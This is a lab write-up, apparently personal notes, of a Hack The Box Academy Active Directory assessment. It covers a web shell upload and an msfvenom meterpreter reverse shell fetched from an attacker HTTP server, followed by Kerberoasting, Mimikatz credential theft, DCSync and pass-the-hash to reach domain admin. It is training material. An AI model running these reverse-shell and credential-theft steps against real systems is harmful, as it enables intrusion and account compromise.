LinkedInCPTS

HTB Acad AD Attack Module Final Assessment

Part I

Getting a shell

We are given a web server that is running aspx. It has file upload vulnerability. In the /uploads there is a web page where we can run Powershell commands.

my first goal was to get a shell on my Linux attack machine. So I used msfvenom to craft a shell and ran a simple http server:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.15.238 LPORT=9999 -f exe > shell.exe
python3 -m http.server 8080

On the web server fetched the shell:

Invoke-WebRequest -Uri "http://10.10.15.238:8080/shell.exe" -OutFile "C:\shell.exe"

Before we run this shell on the server we need to start a meterpreter session:

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.15.238
LHOST => 10.10.15.238
msf6 exploit(multi/handler) > set LPORT 9999
LPORT => 9999
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > exploit

After that we run C:\shell.exe on the server and catch the shell.

Kerberoasting SPN

Before we do anything lets run the command powershell.exe to make sure we are using Poweshell.

First we enumerate all SPNs and look for account with SPN MSSQLSvc/SQL01.inlanefreight.local:1433:

The username for this account is svc_sql

We could use the following commands to load the TGS for out target account:

This will load the TGS for the target in memory. Normally we do it using Mimikatz but we don't have it installed on the web server machine. So I first load it into our machine and download it in the web server:

We run mimikatz.exe and we extract the TGS from memory. We run the following two commands. One to change the output to base64 blob and one to extract:

We copy the hash and paste it in a file lets call it sql_b64. next we turn it into .kirbi file:

Then we run kirbi2jon to make it ready to crack with hashcat:

Finally, we crack it using hashcat:

Accessing MS01

Now that we have a valid credential for the account svc_sql and its password, we can setup a PSSession to connect to MS01.

First we create the credential:

Then we run:

After that we can look at the privs:

We can confirm that RDP port 3389 is open. To be able to access it using RDP we need the IP of MS01:

Next, creating a portforward using meterpreter to use for RDP session to MS01 so we can RDP from our host:

Lateral Movement

We can to get credentials for other users. Importing Mimikatz into MS01 which we have RDP access now will be useful. But MS01 cannot access our host directly so we need to use xfreerdp to mount our folder where we have mimikatz to the MS01:

Then we can simply copy paste mimikatz.exe file. (that we can get from github).

This should give us the cleartext password for user tpetty. Now what can tpetty do? To enumerate further we need to transfer PowerView into the MS01 machine the same way we did mimikatz.

Now this user has Extended rights such as DS-Replication-Get-Changes-All which means we can do a DCSync attack.

If we run this command it will open another cmd under the context of our tpetty user:

For some reason mimikatz fails:

So we right click on PowerShell and select 'Run As A Different User' and put tpetty's creds as this user has the right to do DCSync:

Pass-The-Hash

Finally we perform the pth attack. In the compromised machine run mimikatz in administrator mode. Then run this command with the hash:

This will open a cmd with domain admin privilege. From here we can access the flag.txt in the desktop.

First we map the DC01 to our z: volume

PreviousPowerView IntroductionNextPart II

Last updated

Was this helpful?